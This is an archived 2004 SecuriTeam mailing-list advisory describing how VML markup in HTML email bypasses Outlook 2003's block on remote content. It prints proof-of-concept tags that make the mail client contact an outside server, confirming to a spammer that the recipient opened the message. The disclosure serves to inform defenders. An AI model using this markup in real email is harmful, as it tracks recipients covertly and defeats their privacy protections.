

[NT] Outlook 2003 Not Yet SPAM Proof (PING)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-05/0043.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 05/12/04

To: list@securiteam.com

Date: 12 May 2004 17:30:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Outlook 2003 Not Yet SPAM Proof (PING)

SUMMARY

Outlook 2003 the premier mail client from the company called Microsoft certainly appears to have a lot of security features built into it.

Cursory examination shows excellent thought into 'SPAM' containment, 'security' consideration and many other little 'things'. So much so the default rendering of HTML is in so-called 'restricted zone' that disallows nearly everything [frames, iframes, objects, scripting etc.]. In addition 'special' SPAM measures are taken to disallow graphic downloads from a remote server in HTML email that can be used to verify recipients. A method has now been found to bypass this restriction, on downloading of web based content by the HTML email, by utilizing Microsoft's schema support.

DETAILS

Utilizing Outlook's own schema that comprises a 'proper' frame along with an SRC pointing to our remote server, we are able to ping the server and confirm our recipient has viewed our email. We don't require graphics or frames or iframes to do that:

```
< v:tml frame style="LEFT: 50px; WIDTH: 300px; POSITION: relative; TOP: 30px; HEIGHT: 200px" src="http://www.malware.com/duh.txt#malware">< /v:tmlframe>
```

Securiteam: [NT] Outlook 2003 Not Yet SPAM Proof (PING)

```
< HTML>  
< HEAD>  
< STYLE>  
v\:* { behavior: url(#default#VML); }  
</STYLE>  
< XML:NAMESPACE NS="urn:schemas-microsoft-com:vml" PREFIX="v"/>  
</HEAD>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:1@malware.com> http-equiv.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.